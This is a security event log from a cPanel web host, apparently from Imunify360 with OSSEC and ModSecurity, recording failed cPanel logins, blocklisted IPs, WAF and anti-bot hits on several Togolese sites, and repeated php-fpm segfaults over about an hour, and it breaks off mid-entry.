[2026-06-30 22:00:25 +0000] info [cpaneld] 64.111.92.123 - stephane "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user stephane (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:01:18 ns5 kernel: php-fpm[2045940]: segfault at 7ffdee91da08 ip 000000000072ad55 sp 00007ffdee91da08 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jun 30 22:02:47 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:03:33 ns5 kernel: php-fpm[2046741]: segfault at 7ffdee91df48 ip 000000000072ad55 sp 00007ffdee91df48 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 130.254.112.74
country_id: 6252001
domain: butodra.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:130.254.112.74||TA:130.254.112.74||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.144.35.224
country_id: 1880251
description:
[2026-06-30 22:03:21 +0000] info [cpaneld] 168.144.35.224 - k.eklou "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user k.eklou (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-06-30 22:05:16 +0000] info [cpaneld] 64.111.92.123 - LWS-240344 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user LWS-240344 (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:06:34 ns5 kernel: php-fpm[2047822]: segfault at 7ffdee91def8 ip 000000000072ad55 sp 00007ffdee91def8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-06-30 22:06:10 +0000] info [cpaneld] 64.111.92.123 - kwbcfbmo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kwbcfbmo (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:07:02 ns5 kernel: php-fpm[2047886]: segfault at 7ffdee91da08 ip 000000000072ad55 sp 00007ffdee91da08 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.203.41.234
country_id: 2287781
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/product/show/djama-lager HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.227.133.14
country_id: 3469034
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/product/show/warsteiner HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:09:04 ns5 kernel: php-fpm[2048658]: segfault at 7ffdee91da08 ip 000000000072ad55 sp 00007ffdee91da08 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.181.123
country_id: 1880251
description:
43.173.181.123 - - [30/Jun/2026:22:11:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10380953&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D10548&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782857467 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?p=10548" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.181.123


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:12:01 ns5 kernel: php-fpm[2049913]: segfault at 7ffdee91da08 ip 000000000072ad55 sp 00007ffdee91da08 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:13:02 ns5 kernel: php-fpm[2050056]: segfault at 7ffdee91da08 ip 000000000072ad55 sp 00007ffdee91da08 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-06-30 22:13:24 +0000] info [cpaneld] 64.111.92.123 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.206.66.153
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/le-lieutenant-colonel-atafai-tchangani-prend-le-commandement-du-corps-des-agents-des-eaux-et-forets/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.206.66.153
country_id: 3469034
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/le-lieutenant-colonel-atafai-tchangani-prend-le-commandement-du-corps-des-agents-des-eaux-et-forets/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:14:15 ns5 kernel: php-fpm[2050939]: segfault at 7ffdee91da08 ip 000000000072ad55 sp 00007ffdee91da08 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.25.23.236
country_id: 3865483
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/mission HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.197.179
country_id: 1880251
description:
43.172.197.179 - - [30/Jun/2026:22:15:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934484&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D13384&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782857716 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?p=13384" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.197.179


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.180.128
country_id: 1880251
description:
43.173.180.128 - - [30/Jun/2026:22:16:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262680&pdata=http%253A%252F%252Fwww.arse.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782857775 HTTP/1.1" 404 561 www.arse.tg "http://www.arse.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.180.128


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 221.211.225.203
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/11/1bbaad13db4af2c2ee70cb76148e9d8a_XL.jpg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 187.184.8.197
country_id: 3996063
description:
187.184.8.197 - - [30/Jun/2026:22:17:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790512&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvoiture-neuve-pour-maman-tamea%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782857862 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/voiture-neuve-pour-maman-tamea/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.4398.1859 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:187.184.8.197


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:17:46 ns5 kernel: php-fpm[2051890]: segfault at 7ffdee91da08 ip 000000000072ad55 sp 00007ffdee91da08 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.90.77
country_id: 3865483
description:
Jun 30 22:17:55 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.90.77 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:18:04 ns5 kernel: php-fpm[2051981]: segfault at 7ffdee91df48 ip 000000000072ad55 sp 00007ffdee91df48 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.90.77
country_id: 3865483
description:
Jun 30 22:18:03 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.90.77 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:19:56 ns5 kernel: php-fpm[2052775]: segfault at 7ffdee91da08 ip 000000000072ad55 sp 00007ffdee91da08 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.150.77.204
country_id: 690791
description:
Jun 30 22:21:33 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.150.77.204 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:23:32 ns5 kernel: php-fpm[2053950]: segfault at 7ffdee91da08 ip 000000000072ad55 sp 00007ffdee91da08 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.181.186
country_id: 1880251
description:
43.173.181.186 - - [30/Jun/2026:22:23:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9790404&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D7481&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782858219 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?p=7481" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.181.186


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.129.214.54
country_id: 1210997
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/www.gtaassurances.net HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:24:02 ns5 kernel: php-fpm[2054093]: segfault at 7ffdee91da08 ip 000000000072ad55 sp 00007ffdee91da08 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:25:28 ns5 kernel: php-fpm[2054604]: segfault at 7ffdee91df48 ip 000000000072ad55 sp 00007ffdee91df48 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 30 22:27:50 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-06-30 22:27:06 +0000] info [cpaneld] 64.111.92.123 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.176.105
country_id: 1880251
description:
43.173.176.105 - - [30/Jun/2026:22:28:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13145753&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D7267&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782858533 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?p=7267" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.176.105


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:29:15 ns5 kernel: php-fpm[2056042]: segfault at 7ffdee91def8 ip 000000000072ad55 sp 00007ffdee91def8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-06-30 22:29:18 +0000] info [cpaneld] 64.111.92.123 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jun 30 22:28:59 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:30:01 ns5 kernel: php-fpm[2056066]: segfault at 7ffdee91def8 ip 000000000072ad55 sp 00007ffdee91def8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:31:05 ns5 kernel: php-fpm[2056683]: segfault at 7ffdee91def8 ip 000000000072ad55 sp 00007ffdee91def8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.26.147
country_id: 798544
description:
Jun 30 22:32:53 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.26.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.218.161.101
country_id: 2510769
description:
Jun 30 22:33:11 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.218.161.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.26.147
country_id: 798544
description:
Jun 30 22:33:00 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.26.147 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 122.6.239.185
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sports/page/1209899021 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:34:01 ns5 kernel: php-fpm[2058236]: segfault at 7ffdee91def8 ip 000000000072ad55 sp 00007ffdee91def8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.173.164
country_id: 1880251
description:
43.173.173.164 - - [30/Jun/2026:22:34:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9855895&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D5779&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782858887 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?p=5779" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.173.164


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:35:27 ns5 kernel: php-fpm[2059530]: segfault at 7ffdee91da08 ip 000000000072ad55 sp 00007ffdee91da08 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.24.105
country_id: 6252001
description:
47.251.24.105 - - [30/Jun/2026:22:35:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054300&pdata=https%253A%252F%252Fcafe.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782858948 HTTP/2.0" 302 0 cafe.tg "https://cafe.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.24.105


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 5.157.52.74
country_id: 453733
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-35.5.157.52.74||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.188.82
country_id: 6252001
description:
47.251.188.82 - - [30/Jun/2026:22:36:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10249620&pdata=https%253A%252F%252Fmacite.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782858988 HTTP/2.0" 302 0 macite.tg "https://macite.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.188.82


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.88.18.245
country_id: 6252001
description:
47.88.18.245 - - [30/Jun/2026:22:36:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6407367&pdata=https%253A%252F%252Fcafe.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782858969 HTTP/2.0" 302 0 cafe.tg "https://cafe.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.88.18.245


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.88.94.125
country_id: 6252001
description:
47.88.94.125 - - [30/Jun/2026:22:36:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212009&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782859010 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.88.94.125


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.118.89
country_id: 6252001
description:
47.251.118.89 - - [30/Jun/2026:22:36:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12961481&pdata=https%253A%252F%252Fns5mail.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782858958 HTTP/2.0" 302 0 ns5mail.netmaster.tg "https://ns5mail.netmaster.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.118.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.89.134
country_id: 6252001
description:
47.251.89.134 - - [30/Jun/2026:22:36:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250651&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782858959 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.89.134


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:37:47 ns5 kernel: php-fpm[2061072]: segfault at 7ffdee91da08 ip 000000000072ad55 sp 00007ffdee91da08 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:39:46 ns5 kernel: php-fpm[2061070]: segfault at 7ffdee91da08 ip 000000000072ad55 sp 00007ffdee91da08 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:40:31 ns5 kernel: php-fpm[2061197]: segfault at 7ffdee91df48 ip 000000000072ad55 sp 00007ffdee91df48 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 193.183.125.138
country_id: 2661886
description:
Jun 30 22:41:19 ns5 pure-ftpd[2063515]: (?@193.183.125.138) [INFO] New connection from 193.183.125.138


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.15.216
country_id: 6252001
domain: mail.chatmerce.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.chatmerce.free.netmaster.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:42:48 ns5 kernel: php-fpm[2063757]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.175.99
country_id: 1880251
description:
43.173.175.99 - - [30/Jun/2026:22:43:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9858414&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Ffeed%253Drss2%2526p%253D3274&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782859377 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?feed=rss2&p=3274" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.175.99


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 194.180.233.71
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:194.180.233.71||TA:194.180.233.71||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-06-30 22:44:04 +0000] info [cpaneld] 64.111.92.123 - stephanetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user stephanetg (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:45:10 ns5 kernel: php-fpm[2063991]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:47:13 ns5 kernel: php-fpm[2064232]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:48:16 ns5 kernel: php-fpm[2064448]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.182.177
country_id: 1880251
description:
43.173.182.177 - - [30/Jun/2026:22:48:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13201047&pdata=https%253A%252F%252Flacs1.mairie.tg%252Fvisite-du-president-du-departement-des-yvelines-le-partenariat-lacs1-yvelines-accouche-dune-maison-de-tourisme&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782859732 HTTP/1.1" 404 561 lacs1.mairie.tg "https://lacs1.mairie.tg/visite-du-president-du-departement-des-yvelines-le-partenariat-lacs1-yvelines-accouche-dune-maison-de-tourisme" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.182.177


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:49:08 ns5 kernel: php-fpm[2064650]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 129.227.45.153
country_id: 1643084
description:
129.227.45.153 - - [30/Jun/2026:22:49:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792616&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782859752 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:129.227.45.153


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.179.197
country_id: 1880251
description:
43.173.179.197 - - [30/Jun/2026:22:49:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9858502&pdata=https%253A%252F%252Fmacite.tg%252F%253Fp%253D30031&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782859794 HTTP/1.1" 404 561 macite.tg "https://macite.tg/?p=30031" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.179.197


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:51:10 ns5 kernel: php-fpm[2065237]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:52:57 ns5 kernel: php-fpm[2065955]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:53:37 ns5 kernel: php-fpm[2066416]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.178.177
country_id: 1880251
description:
43.173.178.177 - - [30/Jun/2026:22:53:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13278100&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D1107&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782859985 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?p=1107" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.178.177


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-06-30 22:53:41 +0000] info [cpaneld] 167.99.236.81 - iyfttuec "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user iyfttuec (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:54:11 ns5 kernel: php-fpm[2066446]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.144.35.224
country_id: 1880251
description:
